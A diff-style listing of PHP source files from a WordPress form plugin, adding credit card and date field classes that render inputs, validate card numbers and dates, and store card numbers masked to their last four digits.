* @access public
|
||||
*
|
||||
*/
|
||||
public function sanitize_settings() {
|
||||
|
||||
parent::sanitize_settings();
|
||||
|
||||
if ( 'option' === $this->type ) {
|
||||
$this->productField = absint( $this->productField );
|
||||
}
|
||||
|
||||
if ( 'post_category' === $this->type ) {
|
||||
$this->displayAllCategories = (bool) $this->displayAllCategories;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Strip scripts and some HTML tags.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @param string $value The field value to be processed.
|
||||
* @param int $form_id The ID of the form currently being processed.
|
||||
*
|
||||
* @uses GF_Field::get_allowable_tags()
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function sanitize_entry_value( $value, $form_id ) {
|
||||
|
||||
// If the value is an array, return an empty string.
|
||||
if ( is_array( $value ) ) {
|
||||
return '';
|
||||
}
|
||||
|
||||
// Get allowable tags for field value.
|
||||
$allowable_tags = $this->get_allowable_tags( $form_id );
|
||||
|
||||
// If allowable tags are defined, strip unallowed tags.
|
||||
if ( $allowable_tags !== true ) {
|
||||
$value = strip_tags( $value, $allowable_tags );
|
||||
}
|
||||
|
||||
// Sanitize value.
|
||||
$allowed_protocols = wp_allowed_protocols();
|
||||
$value = wp_kses_no_null( $value, array( 'slash_zero' => 'keep' ) );
|
||||
$value = wp_kses_hook( $value, 'post', $allowed_protocols );
|
||||
$value = wp_kses_split( $value, 'post', $allowed_protocols );
|
||||
|
||||
return $value;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Checkbox() );
|
||||
436
includes/fields/class-gf-field-creditcard.php
Normal file
436
includes/fields/class-gf-field-creditcard.php
Normal file
@@ -0,0 +1,436 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_CreditCard extends GF_Field {
|
||||
|
||||
public $type = 'creditcard';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Credit Card', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'force_ssl_field_setting',
|
||||
'credit_card_style_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'sub_labels_setting',
|
||||
'sub_label_placement_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'rules_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
'credit_card_setting',
|
||||
'input_placeholders_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array(); // this button is conditionally added in the form detail page
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$card_number = rgpost( 'input_' . $this->id . '_1' );
|
||||
$expiration_date = rgpost( 'input_' . $this->id . '_2' );
|
||||
$security_code = rgpost( 'input_' . $this->id . '_3' );
|
||||
|
||||
if ( $this->isRequired && ( empty( $card_number ) || empty( $security_code ) || empty( $expiration_date[0] ) || empty( $expiration_date[1] ) ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'Please enter your credit card information.', 'gravityforms' ) : $this->errorMessage;
|
||||
} elseif ( ! empty( $card_number ) ) {
|
||||
$card_type = GFCommon::get_card_type( $card_number );
|
||||
|
||||
if ( empty( $security_code ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( "Please enter your card's security code.", 'gravityforms' );
|
||||
} elseif ( ! $card_type ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Invalid credit card number.', 'gravityforms' );
|
||||
} elseif ( ! $this->is_card_supported( $card_type['slug'] ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = $card_type['name'] . ' ' . esc_html__( 'is not supported. Please enter one of the supported credit cards.', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function is_card_supported( $card_slug ) {
|
||||
$supported_cards = $this->creditCards;
|
||||
$default_cards = array( 'amex', 'discover', 'mastercard', 'visa' );
|
||||
|
||||
if ( ! empty( $supported_cards ) && in_array( $card_slug, $supported_cards ) ) {
|
||||
return true;
|
||||
} elseif ( empty( $supported_cards ) && in_array( $card_slug, $default_cards ) ) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
if ( $get_from_post_global_var ) {
|
||||
$value[ $this->id . '.1' ] = $this->get_input_value_submission( 'input_' . $this->id . '_1', rgar( $this->inputs[0], 'name' ), $field_values, true );
|
||||
$value[ $this->id . '.2' ] = $this->get_input_value_submission( 'input_' . $this->id . '_2', rgar( $this->inputs[1], 'name' ), $field_values, true );
|
||||
$value[ $this->id . '.3' ] = $this->get_input_value_submission( 'input_' . $this->id . '_3', rgar( $this->inputs[3], 'name' ), $field_values, true );
|
||||
$value[ $this->id . '.4' ] = $this->get_input_value_submission( 'input_' . $this->id . '_4', rgar( $this->inputs[4], 'name' ), $field_values, true );
|
||||
$value[ $this->id . '.5' ] = $this->get_input_value_submission( 'input_' . $this->id . '_5', rgar( $this->inputs[5], 'name' ), $field_values, true );
|
||||
} else {
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
|
||||
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$card_number = '';
|
||||
$card_name = '';
|
||||
$expiration_month = '';
|
||||
$expiration_year = '';
|
||||
$security_code = '';
|
||||
$autocomplete = RGFormsModel::is_html5_enabled() ? "autocomplete='off'" : '';
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$card_number = esc_attr( rgget( $this->id . '.1', $value ) );
|
||||
$card_name = esc_attr( rgget( $this->id . '.5', $value ) );
|
||||
$expiration_date = rgget( $this->id . '.2', $value );
|
||||
if ( ! is_array( $expiration_date ) && ! empty( $expiration_date ) ) {
|
||||
$expiration_date = explode( '/', $expiration_date );
|
||||
}
|
||||
|
||||
if ( is_array( $expiration_date ) && count( $expiration_date ) == 2 ) {
|
||||
$expiration_month = $expiration_date[0];
|
||||
$expiration_year = $expiration_date[1];
|
||||
}
|
||||
|
||||
$security_code = esc_attr( rgget( $this->id . '.3', $value ) );
|
||||
}
|
||||
|
||||
$action = ! ( $is_entry_detail || $is_form_editor ) ? "gformMatchCard(\"{$field_id}_1\");" : '';
|
||||
|
||||
$onchange = "onchange='{$action}'";
|
||||
$onkeyup = "onkeyup='{$action}'";
|
||||
|
||||
$card_icons = '';
|
||||
$cards = GFCommon::get_card_types();
|
||||
$card_style = $this->creditCardStyle ? $this->creditCardStyle : 'style1';
|
||||
|
||||
foreach ( $cards as $card ) {
|
||||
|
||||
$style = '';
|
||||
if ( $this->is_card_supported( $card['slug'] ) ) {
|
||||
$print_card = true;
|
||||
} elseif ( $is_form_editor || $is_entry_detail ) {
|
||||
$print_card = true;
|
||||
$style = "style='display:none;'";
|
||||
} else {
|
||||
$print_card = false;
|
||||
}
|
||||
|
||||
if ( $print_card ) {
|
||||
$card_icons .= "<div class='gform_card_icon gform_card_icon_{$card['slug']}' {$style}>{$card['name']}</div>";
|
||||
}
|
||||
}
|
||||
|
||||
$payment_methods = apply_filters( 'gform_payment_methods', array(), $this, $form_id );
|
||||
$payment_options = '';
|
||||
if ( is_array( $payment_methods ) ) {
|
||||
foreach ( $payment_methods as $payment_method ) {
|
||||
$checked = rgpost( 'gform_payment_method' ) == $payment_method['key'] ? "checked='checked'" : '';
|
||||
$payment_options .= "<div class='gform_payment_option gform_payment_{$payment_method['key']}'><input type='radio' name='gform_payment_method' value='{$payment_method['key']}' id='gform_payment_method_{$payment_method['key']}' onclick='gformToggleCreditCard();' onkeypress='gformToggleCreditCard();' {$checked}/> {$payment_method['label']}</div>";
|
||||
}
|
||||
}
|
||||
$checked = rgpost( 'gform_payment_method' ) == 'creditcard' || rgempty( 'gform_payment_method' ) ? "checked='checked'" : '';
|
||||
$card_radio_button = empty( $payment_options ) ? '' : "<input type='radio' name='gform_payment_method' id='gform_payment_method_creditcard' value='creditcard' onclick='gformToggleCreditCard();' onkeypress='gformToggleCreditCard();' {$checked}/>";
|
||||
$card_icons = "{$payment_options}<div class='gform_card_icon_container gform_card_icon_{$card_style}'>{$card_radio_button}{$card_icons}</div>";
|
||||
|
||||
//card number fields
|
||||
$tabindex = $this->get_tabindex();
|
||||
$card_number_field_input = GFFormsModel::get_input( $this, $this->id . '.1' );
|
||||
$html5_output = ! is_admin() && GFFormsModel::is_html5_enabled() ? "pattern='[0-9]*' title='" . esc_attr__( 'Only digits are allowed', 'gravityforms' ) . "'" : '';
|
||||
$card_number_label = rgar( $card_number_field_input, 'customLabel' ) != '' ? $card_number_field_input['customLabel'] : esc_html__( 'Card Number', 'gravityforms' );
|
||||
$card_number_label = gf_apply_filters( array( 'gform_card_number', $form_id ), $card_number_label, $form_id );
|
||||
|
||||
$card_number_placeholder = $this->get_input_placeholder_attribute( $card_number_field_input );
|
||||
if ( $is_sub_label_above ) {
|
||||
$card_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_1_container' >
|
||||
{$card_icons}
|
||||
<label for='{$field_id}_1' id='{$field_id}_1_label' {$sub_label_class_attribute}>{$card_number_label}</label>
|
||||
<input type='text' name='input_{$id}.1' id='{$field_id}_1' value='{$card_number}' {$tabindex} {$disabled_text} {$onchange} {$onkeyup} {$autocomplete} {$html5_output} {$card_number_placeholder}/>
|
||||
</span>";
|
||||
} else {
|
||||
$card_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_1_container' >
|
||||
{$card_icons}
|
||||
<input type='text' name='input_{$id}.1' id='{$field_id}_1' value='{$card_number}' {$tabindex} {$disabled_text} {$onchange} {$onkeyup} {$autocomplete} {$html5_output} {$card_number_placeholder}/>
|
||||
<label for='{$field_id}_1' id='{$field_id}_1_label' {$sub_label_class_attribute}>{$card_number_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
//expiration date field
|
||||
$expiration_month_tab_index = $this->get_tabindex();
|
||||
$expiration_year_tab_index = $this->get_tabindex();
|
||||
$expiration_month_input = GFFormsModel::get_input( $this, $this->id . '.2_month' );
|
||||
$expiration_month_placeholder = $this->get_input_placeholder_value( $expiration_month_input );
|
||||
$expiration_year_input = GFFormsModel::get_input( $this, $this->id . '.2_year' );
|
||||
$expiration_year_placeholder = $this->get_input_placeholder_value( $expiration_year_input );
|
||||
$expiration_months = $this->get_expiration_months( $expiration_month, $expiration_month_placeholder );
|
||||
$expiration_years = $this->get_expiration_years( $expiration_year, $expiration_year_placeholder );
|
||||
$expiration_label = rgar( $expiration_month_input, 'customLabel' ) != '' ? $expiration_month_input['customLabel'] : esc_html__( 'Expiration Date', 'gravityforms' );
|
||||
$expiration_label = gf_apply_filters( array( 'gform_card_expiration', $form_id ), $expiration_label, $form_id );
|
||||
if ( $is_sub_label_above ) {
|
||||
$expiration_field = "<span class='ginput_full{$class_suffix} ginput_cardextras' id='{$field_id}_2_container'>
|
||||
<span class='ginput_cardinfo_left{$class_suffix}' id='{$field_id}_2_cardinfo_left'>
|
||||
<span class='ginput_card_expiration_container ginput_card_field'>
|
||||
<label for='{$field_id}_2_month' {$sub_label_class_attribute}>{$expiration_label}</label>
|
||||
<select name='input_{$id}.2[]' id='{$field_id}_2_month' {$expiration_month_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_month'>
|
||||
{$expiration_months}
|
||||
</select>
|
||||
<select name='input_{$id}.2[]' id='{$field_id}_2_year' {$expiration_year_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_year'>
|
||||
{$expiration_years}
|
||||
</select>
|
||||
</span>
|
||||
</span>";
|
||||
|
||||
} else {
|
||||
$expiration_field = "<span class='ginput_full{$class_suffix} ginput_cardextras' id='{$field_id}_2_container'>
|
||||
<span class='ginput_cardinfo_left{$class_suffix}' id='{$field_id}_2_cardinfo_left'>
|
||||
<span class='ginput_card_expiration_container ginput_card_field'>
|
||||
<select name='input_{$id}.2[]' id='{$field_id}_2_month' {$expiration_month_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_month'>
|
||||
{$expiration_months}
|
||||
</select>
|
||||
<select name='input_{$id}.2[]' id='{$field_id}_2_year' {$expiration_year_tab_index} {$disabled_text} class='ginput_card_expiration ginput_card_expiration_year'>
|
||||
{$expiration_years}
|
||||
</select>
|
||||
<label for='{$field_id}_2_month' {$sub_label_class_attribute}>{$expiration_label}</label>
|
||||
</span>
|
||||
</span>";
|
||||
}
|
||||
//security code field
|
||||
$tabindex = $this->get_tabindex();
|
||||
$security_code_field_input = GFFormsModel::get_input( $this, $this->id . '.3' );
|
||||
$security_code_label = rgar( $security_code_field_input, 'customLabel' ) != '' ? $security_code_field_input['customLabel'] : esc_html__( 'Security Code', 'gravityforms' );
|
||||
$security_code_label = gf_apply_filters( array( 'gform_card_security_code', $form_id ), $security_code_label, $form_id );
|
||||
$html5_output = GFFormsModel::is_html5_enabled() ? "pattern='[0-9]*' title='" . esc_attr__( 'Only digits are allowed', 'gravityforms' ) . "'" : '';
|
||||
$security_code_placeholder = $this->get_input_placeholder_attribute( $security_code_field_input );
|
||||
if ( $is_sub_label_above ) {
|
||||
$security_field = "<span class='ginput_cardinfo_right{$class_suffix}' id='{$field_id}_2_cardinfo_right'>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>$security_code_label</label>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' {$tabindex} {$disabled_text} class='ginput_card_security_code' value='{$security_code}' {$autocomplete} {$html5_output} {$security_code_placeholder} />
|
||||
<span class='ginput_card_security_code_icon'> </span>
|
||||
</span>
|
||||
</span>";
|
||||
} else {
|
||||
$security_field = "<span class='ginput_cardinfo_right{$class_suffix}' id='{$field_id}_2_cardinfo_right'>
|
||||
<input type='text' name='input_{$id}.3' id='{$field_id}_3' {$tabindex} {$disabled_text} class='ginput_card_security_code' value='{$security_code}' {$autocomplete} {$html5_output} {$security_code_placeholder}/>
|
||||
<span class='ginput_card_security_code_icon'> </span>
|
||||
<label for='{$field_id}_3' {$sub_label_class_attribute}>$security_code_label</label>
|
||||
</span>
|
||||
</span>";
|
||||
}
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$card_name_field_input = GFFormsModel::get_input( $this, $this->id . '.5' );
|
||||
$card_name_label = rgar( $card_name_field_input, 'customLabel' ) != '' ? $card_name_field_input['customLabel'] : esc_html__( 'Cardholder Name', 'gravityforms' );
|
||||
$card_name_label = gf_apply_filters( array( 'gform_card_name', $form_id ), $card_name_label, $form_id );
|
||||
|
||||
$card_name_placeholder = $this->get_input_placeholder_attribute( $card_name_field_input );
|
||||
if ( $is_sub_label_above ) {
|
||||
$card_name_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_5_container'>
|
||||
<label for='{$field_id}_5' id='{$field_id}_5_label' {$sub_label_class_attribute}>{$card_name_label}</label>
|
||||
<input type='text' name='input_{$id}.5' id='{$field_id}_5' value='{$card_name}' {$tabindex} {$disabled_text} {$card_name_placeholder}/>
|
||||
</span>";
|
||||
} else {
|
||||
$card_name_field = "<span class='ginput_full{$class_suffix}' id='{$field_id}_5_container'>
|
||||
<input type='text' name='input_{$id}.5' id='{$field_id}_5' value='{$card_name}' {$tabindex} {$disabled_text} {$card_name_placeholder}/>
|
||||
<label for='{$field_id}_5' id='{$field_id}_5_label' {$sub_label_class_attribute}>{$card_name_label}</label>
|
||||
</span>";
|
||||
}
|
||||
|
||||
return "<div class='ginput_complex{$class_suffix} ginput_container ginput_container_creditcard' id='{$field_id}'>" . $card_field . $expiration_field . $security_field . $card_name_field . ' </div>';
|
||||
|
||||
}
|
||||
|
||||
public function get_field_label_class(){
|
||||
return 'gfield_label gfield_label_before_complex';
|
||||
}
|
||||
|
||||
private function get_expiration_months( $selected_month, $placeholder ) {
|
||||
if ( empty( $placeholder ) ) {
|
||||
$placeholder = esc_html__( 'Month', 'gravityforms' );
|
||||
}
|
||||
$str = "<option value=''>{$placeholder}</option>";
|
||||
for ( $i = 1; $i < 13; $i ++ ) {
|
||||
$selected = intval( $selected_month ) == $i ? "selected='selected'" : '';
|
||||
$month = str_pad( $i, 2, '0', STR_PAD_LEFT );
|
||||
$str .= "<option value='{$i}' {$selected}>{$month}</option>";
|
||||
}
|
||||
|
||||
return $str;
|
||||
}
|
||||
|
||||
private function get_expiration_years( $selected_year, $placeholder ) {
|
||||
if ( empty( $placeholder ) ) {
|
||||
$placeholder = esc_html__( 'Year', 'gravityforms' );
|
||||
}
|
||||
$str = "<option value=''>{$placeholder}</option>";
|
||||
$year = intval( date( 'Y' ) );
|
||||
for ( $i = $year; $i < ( $year + 20 ); $i ++ ) {
|
||||
$selected = intval( $selected_year ) == $i ? "selected='selected'" : '';
|
||||
$str .= "<option value='{$i}' {$selected}>{$i}</option>";
|
||||
}
|
||||
|
||||
return $str;
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
if ( is_array( $value ) ) {
|
||||
$card_number = trim( rgget( $this->id . '.1', $value ) );
|
||||
$card_type = trim( rgget( $this->id . '.4', $value ) );
|
||||
$separator = $format == 'html' ? '<br/>' : "\n";
|
||||
|
||||
return empty( $card_number ) ? '' : $card_type . $separator . $card_number;
|
||||
} else {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
public function get_form_inline_script_on_page_render( $form ) {
|
||||
|
||||
$field_id = "input_{$form['id']}_{$this->id}";
|
||||
|
||||
if ( $this->forceSSL && ! GFCommon::is_ssl() && ! GFCommon::is_preview() ) {
|
||||
$script = "document.location.href='" . esc_js( RGFormsModel::get_current_page_url( true ) ) . "';";
|
||||
} else {
|
||||
$script = "jQuery(document).ready(function(){ { gformMatchCard(\"{$field_id}_1\"); } } );";
|
||||
}
|
||||
|
||||
$card_rules = $this->get_credit_card_rules();
|
||||
$script = "if(!window['gf_cc_rules']){window['gf_cc_rules'] = new Array(); } window['gf_cc_rules'] = " . GFCommon::json_encode( $card_rules ) . "; $script";
|
||||
|
||||
return $script;
|
||||
}
|
||||
|
||||
public function get_credit_card_rules() {
|
||||
|
||||
$cards = GFCommon::get_card_types();
|
||||
//$supported_cards = //TODO: Only include enabled cards
|
||||
$rules = array();
|
||||
|
||||
foreach ( $cards as $card ) {
|
||||
$prefixes = explode( ',', $card['prefixes'] );
|
||||
foreach ( $prefixes as $prefix ) {
|
||||
$rules[ $card['slug'] ][] = $prefix;
|
||||
}
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
public function get_entry_inputs() {
|
||||
$inputs = array();
|
||||
// only store month and card number input values
|
||||
foreach ( $this->inputs as $input ) {
|
||||
if ( in_array( $input['id'], array( $this->id . '.1', $this->id . '.4' ) ) ) {
|
||||
$inputs[] = $input;
|
||||
}
|
||||
}
|
||||
|
||||
return $inputs;
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
|
||||
//saving last 4 digits of credit card
|
||||
list( $input_token, $field_id_token, $input_id ) = rgexplode( '_', $input_name, 3 );
|
||||
if ( $input_id == '1' ) {
|
||||
$value = str_replace( ' ', '', $value );
|
||||
$card_number_length = strlen( $value );
|
||||
$value = substr( $value, - 4, 4 );
|
||||
$value = str_pad( $value, $card_number_length, 'X', STR_PAD_LEFT );
|
||||
} elseif ( $input_id == '4' ) {
|
||||
|
||||
$value = rgpost( "input_{$field_id_token}_4" );
|
||||
|
||||
if ( ! $value ) {
|
||||
$card_number = rgpost( "input_{$field_id_token}_1" );
|
||||
$card_type = GFCommon::get_card_type( $card_number );
|
||||
$value = $card_type ? $card_type['name'] : '';
|
||||
}
|
||||
} else {
|
||||
$value = '';
|
||||
}
|
||||
|
||||
return $this->sanitize_entry_value( $value, $form['id'] );
|
||||
}
|
||||
|
||||
/**
|
||||
* Upgrades inputs, if needed.
|
||||
*
|
||||
* @since 2.1.2.7
|
||||
* @access public
|
||||
* @see GF_Field::post_convert_field()
|
||||
*
|
||||
* @uses GF_Field::post_convert_field()
|
||||
* @uses GF_Field_CreditCard::maybe_upgrade_inputs()
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function post_convert_field() {
|
||||
parent::post_convert_field();
|
||||
$this->maybe_upgrade_inputs();
|
||||
}
|
||||
|
||||
/**
|
||||
* GF1.8 and earlier used 5 inputs (1 input for the expiration date); GF1.9 changed to 6 inputs (the expiration month and year now separate); upgrade those fields still using the older configuration.
|
||||
*/
|
||||
public function maybe_upgrade_inputs() {
|
||||
$inputs = $this->inputs;
|
||||
$exp_input = $inputs[1];
|
||||
$exp_id = $this->id . '.2';
|
||||
|
||||
if ( count( $inputs ) == 5 && $exp_input['id'] == $exp_id ) {
|
||||
$new_inputs = array(
|
||||
array(
|
||||
'id' => $exp_id . '_month',
|
||||
'label' => esc_html__( 'Expiration Month', 'gravityforms' ),
|
||||
'defaultLabel' => $exp_input['label']
|
||||
),
|
||||
array(
|
||||
'id' => $exp_id . '_year',
|
||||
'label' => esc_html__( 'Expiration Year', 'gravityforms' ),
|
||||
)
|
||||
);
|
||||
|
||||
array_splice( $inputs, 1, 1, $new_inputs );
|
||||
$this->inputs = $inputs;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_CreditCard() );
|
||||
569
includes/fields/class-gf-field-date.php
Normal file
569
includes/fields/class-gf-field-date.php
Normal file
@@ -0,0 +1,569 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Date extends GF_Field {
|
||||
|
||||
public $type = 'date';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Date', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'sub_label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'rules_setting',
|
||||
'date_input_type_setting',
|
||||
'visibility_setting',
|
||||
'duplicate_setting',
|
||||
'date_format_setting',
|
||||
'default_value_setting',
|
||||
'placeholder_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
if ( is_array( $value ) && rgempty( 0, $value ) && rgempty( 1, $value ) && rgempty( 2, $value ) ) {
|
||||
$value = null;
|
||||
}
|
||||
|
||||
if ( ! empty( $value ) ) {
|
||||
$format = empty( $this->dateFormat ) ? 'mdy' : $this->dateFormat;
|
||||
$date = GFCommon::parse_date( $value, $format );
|
||||
|
||||
if ( empty( $date ) || ! $this->checkdate( $date['month'], $date['day'], $date['year'] ) ) {
|
||||
$this->failed_validation = true;
|
||||
$format_name = '';
|
||||
switch ( $format ) {
|
||||
case 'mdy' :
|
||||
$format_name = 'mm/dd/yyyy';
|
||||
break;
|
||||
case 'dmy' :
|
||||
$format_name = 'dd/mm/yyyy';
|
||||
break;
|
||||
case 'dmy_dash' :
|
||||
$format_name = 'dd-mm-yyyy';
|
||||
break;
|
||||
case 'dmy_dot' :
|
||||
$format_name = 'dd.mm.yyyy';
|
||||
break;
|
||||
case 'ymd_slash' :
|
||||
$format_name = 'yyyy/mm/dd';
|
||||
break;
|
||||
case 'ymd_dash' :
|
||||
$format_name = 'yyyy-mm-dd';
|
||||
break;
|
||||
case 'ymd_dot' :
|
||||
$format_name = 'yyyy.mm.dd';
|
||||
break;
|
||||
}
|
||||
$message = $this->dateType == 'datepicker' ? sprintf( esc_html__( 'Please enter a valid date in the format (%s).', 'gravityforms' ), $format_name ) : esc_html__( 'Please enter a valid date.', 'gravityforms' );
|
||||
$this->validation_message = empty( $this->errorMessage ) ? $message : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function is_value_submission_empty( $form_id ) {
|
||||
$value = rgpost( 'input_' . $this->id );
|
||||
if ( is_array( $value ) ) {
|
||||
// Date field and date drop-downs
|
||||
foreach ( $value as $input ) {
|
||||
if ( strlen( trim( $input ) ) <= 0 ) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
} else {
|
||||
|
||||
// Date picker
|
||||
return strlen( trim( $value ) ) <= 0;
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$picker_value = '';
|
||||
if ( is_array( $value ) ) {
|
||||
// GFCommon::parse_date() takes a numeric array.
|
||||
$value = array_values( $value );
|
||||
} else {
|
||||
$picker_value = $value;
|
||||
}
|
||||
$format = empty( $this->dateFormat ) ? 'mdy' : esc_attr( $this->dateFormat );
|
||||
$date_info = GFCommon::parse_date( $value, $format );
|
||||
|
||||
$day_value = esc_attr( rgget( 'day', $date_info ) );
|
||||
$month_value = esc_attr( rgget( 'month', $date_info ) );
|
||||
$year_value = esc_attr( rgget( 'year', $date_info ) );
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$form_id = $form['id'];
|
||||
$id = intval( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
|
||||
$field_sub_label_placement = $this->subLabelPlacement;
|
||||
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
|
||||
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
|
||||
|
||||
$month_input = GFFormsModel::get_input( $this, $this->id . '.1' );
|
||||
$day_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
$year_input = GFFormsModel::get_input( $this, $this->id . '.3' );
|
||||
|
||||
$month_sub_label = rgar( $month_input, 'customLabel' ) != '' ? $month_input['customLabel'] : esc_html( _x( 'MM', 'Abbreviation: Month', 'gravityforms' ) );
|
||||
$day_sub_label = rgar( $day_input, 'customLabel' ) != '' ? $day_input['customLabel'] : esc_html__( 'DD', 'gravityforms' );
|
||||
$year_sub_label = rgar( $year_input, 'customLabel' ) != '' ? $year_input['customLabel'] : esc_html__( 'YYYY', 'gravityforms' );
|
||||
|
||||
$month_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $month_input );
|
||||
$day_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $day_input );
|
||||
$year_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $year_input );
|
||||
|
||||
$month_placeholder_value = GFCommon::get_input_placeholder_value( $month_input );
|
||||
$day_placeholder_value = GFCommon::get_input_placeholder_value( $day_input );
|
||||
$year_placeholder_value = GFCommon::get_input_placeholder_value( $year_input );
|
||||
|
||||
$date_picker_placeholder = $this->get_field_placeholder_attribute();
|
||||
|
||||
$is_html5 = RGFormsModel::is_html5_enabled();
|
||||
$date_input_type = $is_html5 ? 'number' : 'text';
|
||||
|
||||
$month_html5_attributes = $is_html5 ? "min='1' max='12' step='1'" : '';
|
||||
$day_html5_attributes = $is_html5 ? "min='1' max='31' step='1'" : '';
|
||||
|
||||
$year_min = apply_filters( 'gform_date_min_year', '1920', $form, $this );
|
||||
$year_max = apply_filters( 'gform_date_max_year', date( 'Y' ) + 1, $form, $this );
|
||||
|
||||
$year_min_attribute = $is_html5 && is_numeric( $year_min ) ? "min='{$year_min}'" : '';
|
||||
$year_max_attribute = $is_html5 && is_numeric( $year_max ) ? "max='{$year_max}'" : '';
|
||||
$year_step_attribute = $is_html5 ? "step='1'" : '';
|
||||
|
||||
$field_position = substr( $format, 0, 3 );
|
||||
if ( $is_form_editor ) {
|
||||
$datepicker_display = in_array( $this->dateType, array( 'datefield', 'datedropdown' ) ) ? 'none' : 'inline';
|
||||
$datefield_display = $this->dateType == 'datefield' ? 'inline' : 'none';
|
||||
$dropdown_display = $this->dateType == 'datedropdown' ? 'inline' : 'none';
|
||||
